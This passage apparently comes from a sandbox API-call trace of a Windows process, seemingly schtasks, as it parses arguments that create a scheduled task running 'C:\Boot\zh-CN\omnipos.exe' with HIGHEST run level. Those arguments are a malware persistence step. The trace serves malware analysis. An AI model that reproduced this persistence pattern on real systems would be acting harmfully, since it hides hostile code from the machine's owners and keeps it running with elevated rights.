returned 0x350000 [0090.508] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x10) returned 0x36c3b0 [0090.508] GetProcessHeap () returned 0x350000 [0090.508] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36cda0 [0090.508] SetLastError (dwErrCode=0x0) [0090.508] SetLastError (dwErrCode=0x0) [0090.508] lstrlenW (lpString="/tr") returned 3 [0090.508] lstrlenW (lpString="-/") returned 2 [0090.508] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0090.508] lstrlenW (lpString="?") returned 1 [0090.508] lstrlenW (lpString="?") returned 1 [0090.508] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.509] lstrlenW (lpString="tr") returned 2 [0090.509] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.509] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|?|") returned 3 [0090.509] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|tr|") returned 4 [0090.509] lstrlenW (lpString="|?|") returned 3 [0090.509] lstrlenW (lpString="|tr|") returned 4 [0090.509] SetLastError (dwErrCode=0x490) [0090.509] lstrlenW (lpString="create") returned 6 [0090.509] lstrlenW (lpString="create") returned 6 [0090.509] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.509] lstrlenW (lpString="tr") returned 2 [0090.509] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.509] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|create|") returned 8 [0090.509] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|tr|") returned 4 [0090.509] lstrlenW (lpString="|create|") returned 8 [0090.509] lstrlenW (lpString="|tr|") returned 4 [0090.510] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0090.510] SetLastError (dwErrCode=0x490) [0090.510] lstrlenW (lpString="delete") returned 6 [0090.510] lstrlenW (lpString="delete") returned 6 [0090.510] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.510] lstrlenW (lpString="tr") returned 2 [0090.510] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.510] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|delete|") returned 8 [0090.510] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|tr|") returned 4 [0090.510] lstrlenW (lpString="|delete|") returned 8 [0090.510] lstrlenW (lpString="|tr|") returned 4 [0090.510] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0090.510] SetLastError (dwErrCode=0x490) [0090.510] lstrlenW (lpString="query") returned 5 [0090.510] lstrlenW (lpString="query") returned 5 [0090.510] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.510] lstrlenW (lpString="tr") returned 2 [0090.510] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.510] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|query|") returned 7 [0090.510] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|tr|") returned 4 [0090.510] lstrlenW (lpString="|query|") returned 7 [0090.510] lstrlenW (lpString="|tr|") returned 4 [0090.510] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0090.510] SetLastError (dwErrCode=0x490) [0090.511] lstrlenW (lpString="change") returned 6 [0090.511] lstrlenW (lpString="change") returned 6 [0090.511] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.511] lstrlenW (lpString="tr") returned 2 [0090.511] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.511] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|change|") returned 8 [0090.511] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|tr|") returned 4 [0090.511] lstrlenW (lpString="|change|") returned 8 [0090.511] lstrlenW (lpString="|tr|") returned 4 [0090.511] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0090.511] SetLastError (dwErrCode=0x490) [0090.511] lstrlenW (lpString="run") returned 3 [0090.511] lstrlenW (lpString="run") returned 3 [0090.511] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.511] lstrlenW (lpString="tr") returned 2 [0090.511] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.511] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|run|") returned 5 [0090.511] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|tr|") returned 4 [0090.511] lstrlenW (lpString="|run|") returned 5 [0090.511] lstrlenW (lpString="|tr|") returned 4 [0090.511] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0090.512] SetLastError (dwErrCode=0x490) [0090.512] lstrlenW (lpString="end") returned 3 [0090.512] lstrlenW (lpString="end") returned 3 [0090.512] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.512] lstrlenW (lpString="tr") returned 2 [0090.512] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.512] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|end|") returned 5 [0090.512] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|tr|") returned 4 [0090.512] lstrlenW (lpString="|end|") returned 5 [0090.512] lstrlenW (lpString="|tr|") returned 4 [0090.512] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0090.512] SetLastError (dwErrCode=0x490) [0090.512] lstrlenW (lpString="showsid") returned 7 [0090.512] lstrlenW (lpString="showsid") returned 7 [0090.512] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.512] lstrlenW (lpString="tr") returned 2 [0090.512] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.512] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|showsid|") returned 9 [0090.512] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|tr|") returned 4 [0090.512] lstrlenW (lpString="|showsid|") returned 9 [0090.512] lstrlenW (lpString="|tr|") returned 4 [0090.513] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0090.513] SetLastError (dwErrCode=0x490) [0090.513] SetLastError (dwErrCode=0x490) [0090.513] SetLastError (dwErrCode=0x0) [0090.513] lstrlenW (lpString="/tr") returned 3 [0090.513] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0090.513] SetLastError (dwErrCode=0x490) [0090.513] SetLastError (dwErrCode=0x0) [0090.513] lstrlenW (lpString="/tr") returned 3 [0090.513] GetProcessHeap () returned 0x350000 [0090.513] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x8) returned 0x36c3d0 [0090.513] GetProcessHeap () returned 0x350000 [0090.513] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36cdd0 [0090.513] SetLastError (dwErrCode=0x0) [0090.513] SetLastError (dwErrCode=0x0) [0090.513] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0090.513] lstrlenW (lpString="-/") returned 2 [0090.513] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0090.513] SetLastError (dwErrCode=0x490) [0090.513] SetLastError (dwErrCode=0x490) [0090.513] SetLastError (dwErrCode=0x0) [0090.513] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0090.514] StrChrIW (lpStart="'C:\\Boot\\zh-CN\\omnipos.exe'", wMatch=0x3a) returned=":\\Boot\\zh-CN\\omnipos.exe'" [0090.514] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0090.514] GetProcessHeap () returned 0x350000 [0090.514] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36c3f0 [0090.514] _memicmp (_Buf1=0x36c3f0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.514] GetProcessHeap () returned 0x350000 [0090.514] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0xe) returned 0x36c410 [0090.514] GetProcessHeap () returned 0x350000 [0090.514] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36d600 [0090.514] _memicmp (_Buf1=0x36d600, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.514] GetProcessHeap () returned 0x350000 [0090.514] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x3a) returned 0x369430 [0090.514] SetLastError (dwErrCode=0x7a) [0090.514] SetLastError (dwErrCode=0x0) [0090.514] SetLastError (dwErrCode=0x0) [0090.514] lstrlenW (lpString="'C") returned 2 [0090.514] lstrlenW (lpString="-/") returned 2 [0090.514] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0090.514] SetLastError (dwErrCode=0x490) [0090.514] SetLastError (dwErrCode=0x490) [0090.514] SetLastError (dwErrCode=0x0) [0090.514] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0090.514] GetProcessHeap () returned 0x350000 [0090.515] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x38) returned 0x367bc0 [0090.515] GetProcessHeap () returned 0x350000 [0090.515] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36ce00 [0090.515] SetLastError (dwErrCode=0x0) [0090.515] SetLastError (dwErrCode=0x0) [0090.515] lstrlenW (lpString="/rl") returned 3 [0090.515] lstrlenW (lpString="-/") returned 2 [0090.515] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0090.515] lstrlenW (lpString="?") returned 1 [0090.515] lstrlenW (lpString="?") returned 1 [0090.515] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.515] lstrlenW (lpString="rl") returned 2 [0090.515] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.515] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|?|") returned 3 [0090.515] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|rl|") returned 4 [0090.515] lstrlenW (lpString="|?|") returned 3 [0090.515] lstrlenW (lpString="|rl|") returned 4 [0090.515] SetLastError (dwErrCode=0x490) [0090.515] lstrlenW (lpString="create") returned 6 [0090.515] lstrlenW (lpString="create") returned 6 [0090.515] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.515] lstrlenW (lpString="rl") returned 2 [0090.515] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.515] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|create|") returned 8 [0090.516] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|rl|") returned 4 [0090.516] lstrlenW (lpString="|create|") returned 8 [0090.516] lstrlenW (lpString="|rl|") returned 4 [0090.516] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0090.516] SetLastError (dwErrCode=0x490) [0090.516] lstrlenW (lpString="delete") returned 6 [0090.516] lstrlenW (lpString="delete") returned 6 [0090.516] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.516] lstrlenW (lpString="rl") returned 2 [0090.516] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.516] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|delete|") returned 8 [0090.516] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|rl|") returned 4 [0090.516] lstrlenW (lpString="|delete|") returned 8 [0090.516] lstrlenW (lpString="|rl|") returned 4 [0090.516] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0090.516] SetLastError (dwErrCode=0x490) [0090.516] lstrlenW (lpString="query") returned 5 [0090.516] lstrlenW (lpString="query") returned 5 [0090.516] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.516] lstrlenW (lpString="rl") returned 2 [0090.516] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.516] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|query|") returned 7 [0090.516] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|rl|") returned 4 [0090.516] lstrlenW (lpString="|query|") returned 7 [0090.517] lstrlenW (lpString="|rl|") returned 4 [0090.517] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0090.517] SetLastError (dwErrCode=0x490) [0090.517] lstrlenW (lpString="change") returned 6 [0090.517] lstrlenW (lpString="change") returned 6 [0090.517] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.517] lstrlenW (lpString="rl") returned 2 [0090.517] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.517] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|change|") returned 8 [0090.517] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|rl|") returned 4 [0090.517] lstrlenW (lpString="|change|") returned 8 [0090.517] lstrlenW (lpString="|rl|") returned 4 [0090.517] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0090.517] SetLastError (dwErrCode=0x490) [0090.517] lstrlenW (lpString="run") returned 3 [0090.517] lstrlenW (lpString="run") returned 3 [0090.517] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.517] lstrlenW (lpString="rl") returned 2 [0090.517] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.517] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|run|") returned 5 [0090.517] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|rl|") returned 4 [0090.517] lstrlenW (lpString="|run|") returned 5 [0090.517] lstrlenW (lpString="|rl|") returned 4 [0090.517] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0090.518] SetLastError (dwErrCode=0x490) [0090.518] lstrlenW (lpString="end") returned 3 [0090.518] lstrlenW (lpString="end") returned 3 [0090.518] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.518] lstrlenW (lpString="rl") returned 2 [0090.518] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.518] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|end|") returned 5 [0090.518] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|rl|") returned 4 [0090.518] lstrlenW (lpString="|end|") returned 5 [0090.518] lstrlenW (lpString="|rl|") returned 4 [0090.518] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0090.518] SetLastError (dwErrCode=0x490) [0090.518] lstrlenW (lpString="showsid") returned 7 [0090.518] lstrlenW (lpString="showsid") returned 7 [0090.518] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.518] lstrlenW (lpString="rl") returned 2 [0090.518] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.518] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|showsid|") returned 9 [0090.518] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|rl|") returned 4 [0090.518] lstrlenW (lpString="|showsid|") returned 9 [0090.518] lstrlenW (lpString="|rl|") returned 4 [0090.518] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0090.518] SetLastError (dwErrCode=0x490) [0090.518] SetLastError (dwErrCode=0x490) [0090.519] SetLastError (dwErrCode=0x0) [0090.519] lstrlenW (lpString="/rl") returned 3 [0090.519] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0090.519] SetLastError (dwErrCode=0x490) [0090.519] SetLastError (dwErrCode=0x0) [0090.519] lstrlenW (lpString="/rl") returned 3 [0090.519] GetProcessHeap () returned 0x350000 [0090.519] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x8) returned 0x36ddd0 [0090.519] GetProcessHeap () returned 0x350000 [0090.541] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36ce30 [0090.541] SetLastError (dwErrCode=0x0) [0090.541] SetLastError (dwErrCode=0x0) [0090.541] lstrlenW (lpString="HIGHEST") returned 7 [0090.541] lstrlenW (lpString="-/") returned 2 [0090.541] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0090.541] SetLastError (dwErrCode=0x490) [0090.541] SetLastError (dwErrCode=0x490) [0090.541] SetLastError (dwErrCode=0x0) [0090.541] lstrlenW (lpString="HIGHEST") returned 7 [0090.541] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0090.541] SetLastError (dwErrCode=0x490) [0090.541] SetLastError (dwErrCode=0x0) [0090.541] lstrlenW (lpString="HIGHEST") returned 7 [0090.541] GetProcessHeap () returned 0x350000 [0090.541] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x10) returned 0x36d620 [0090.541] GetProcessHeap () returned 0x350000 [0090.541] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36ce60 [0090.541] SetLastError (dwErrCode=0x0) [0090.541] SetLastError (dwErrCode=0x0) [0090.541] lstrlenW (lpString="/f") returned 2 [0090.541] lstrlenW (lpString="-/") returned 2 [0090.542] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0090.542] lstrlenW (lpString="?") returned 1 [0090.542] lstrlenW (lpString="?") returned 1 [0090.542] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.542] lstrlenW (lpString="f") returned 1 [0090.542] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.542] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|?|") returned 3 [0090.542] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|f|") returned 3 [0090.542] lstrlenW (lpString="|?|") returned 3 [0090.542] lstrlenW (lpString="|f|") returned 3 [0090.542] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0090.542] SetLastError (dwErrCode=0x490) [0090.542] lstrlenW (lpString="create") returned 6 [0090.542] lstrlenW (lpString="create") returned 6 [0090.542] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.542] lstrlenW (lpString="f") returned 1 [0090.542] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.542] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|create|") returned 8 [0090.542] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|f|") returned 3 [0090.542] lstrlenW (lpString="|create|") returned 8 [0090.542] lstrlenW (lpString="|f|") returned 3 [0090.543] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0090.543] SetLastError (dwErrCode=0x490) [0090.543] lstrlenW (lpString="delete") returned 6 [0090.543] lstrlenW (lpString="delete") returned 6 [0090.543] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.543] lstrlenW (lpString="f") returned 1 [0090.543] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.543] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|delete|") returned 8 [0090.543] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|f|") returned 3 [0090.543] lstrlenW (lpString="|delete|") returned 8 [0090.543] lstrlenW (lpString="|f|") returned 3 [0090.543] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0090.543] SetLastError (dwErrCode=0x490) [0090.543] lstrlenW (lpString="query") returned 5 [0090.543] lstrlenW (lpString="query") returned 5 [0090.543] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.543] lstrlenW (lpString="f") returned 1 [0090.543] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.543] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|query|") returned 7 [0090.543] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|f|") returned 3 [0090.543] lstrlenW (lpString="|query|") returned 7 [0090.543] lstrlenW (lpString="|f|") returned 3 [0090.544] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0090.544] SetLastError (dwErrCode=0x490) [0090.544] lstrlenW (lpString="change") returned 6 [0090.544] lstrlenW (lpString="change") returned 6 [0090.544] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.544] lstrlenW (lpString="f") returned 1 [0090.544] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.544] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|change|") returned 8 [0090.544] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|f|") returned 3 [0090.544] lstrlenW (lpString="|change|") returned 8 [0090.544] lstrlenW (lpString="|f|") returned 3 [0090.544] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0090.544] SetLastError (dwErrCode=0x490) [0090.544] lstrlenW (lpString="run") returned 3 [0090.544] lstrlenW (lpString="run") returned 3 [0090.544] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.544] lstrlenW (lpString="f") returned 1 [0090.544] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.544] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|run|") returned 5 [0090.544] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|f|") returned 3 [0090.545] lstrlenW (lpString="|run|") returned 5 [0090.545] lstrlenW (lpString="|f|") returned 3 [0090.545] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0090.545] SetLastError (dwErrCode=0x490) [0090.545] lstrlenW (lpString="end") returned 3 [0090.545] lstrlenW (lpString="end") returned 3 [0090.545] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.545] lstrlenW (lpString="f") returned 1 [0090.545] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.545] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|end|") returned 5 [0090.545] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|f|") returned 3 [0090.545] lstrlenW (lpString="|end|") returned 5 [0090.545] lstrlenW (lpString="|f|") returned 3 [0090.545] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0090.545] SetLastError (dwErrCode=0x490) [0090.545] lstrlenW (lpString="showsid") returned 7 [0090.545] lstrlenW (lpString="showsid") returned 7 [0090.545] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.545] lstrlenW (lpString="f") returned 1 [0090.545] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.545] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|showsid|") returned 9 [0090.545] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|f|") returned 3 [0090.545] lstrlenW (lpString="|showsid|") returned 9 [0090.545] lstrlenW (lpString="|f|") returned 3 [0090.546] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0090.546] SetLastError (dwErrCode=0x490) [0090.546] SetLastError (dwErrCode=0x490) [0090.546] SetLastError (dwErrCode=0x0) [0090.546] lstrlenW (lpString="/f") returned 2 [0090.546] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0090.546] SetLastError (dwErrCode=0x490) [0090.546] SetLastError (dwErrCode=0x0) [0090.546] lstrlenW (lpString="/f") returned 2 [0090.546] GetProcessHeap () returned 0x350000 [0090.546] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x6) returned 0x36ddf0 [0090.546] GetProcessHeap () returned 0x350000 [0090.546] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36ce90 [0090.546] SetLastError (dwErrCode=0x0) [0090.546] GetProcessHeap () returned 0x350000 [0090.546] GetProcessHeap () returned 0x350000 [0090.546] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36c2e0) returned 1 [0090.546] GetProcessHeap () returned 0x350000 [0090.546] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36c2e0) returned 0x8 [0090.546] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36c2e0 | out: hHeap=0x350000) returned 1 [0090.546] GetProcessHeap () returned 0x350000 [0090.546] GetProcessHeap () returned 0x350000 [0090.546] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36cd10) returned 1 [0090.546] GetProcessHeap () returned 0x350000 [0090.546] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36cd10) returned 0x20 [0090.547] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36cd10 | out: hHeap=0x350000) returned 1 [0090.547] GetProcessHeap () returned 0x350000 [0090.547] GetProcessHeap () returned 0x350000 [0090.547] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36c370) returned 1 [0090.547] GetProcessHeap () returned 0x350000 [0090.547] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36c370) returned 0x10 [0090.547] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36c370 | out: hHeap=0x350000) returned 1 [0090.547] GetProcessHeap () returned 0x350000 [0090.547] GetProcessHeap () returned 0x350000 [0090.548] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36cd40) returned 1 [0090.548] GetProcessHeap () returned 0x350000 [0090.548] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36cd40) returned 0x20 [0090.548] HeapFree (in: hHeap=0x350000, 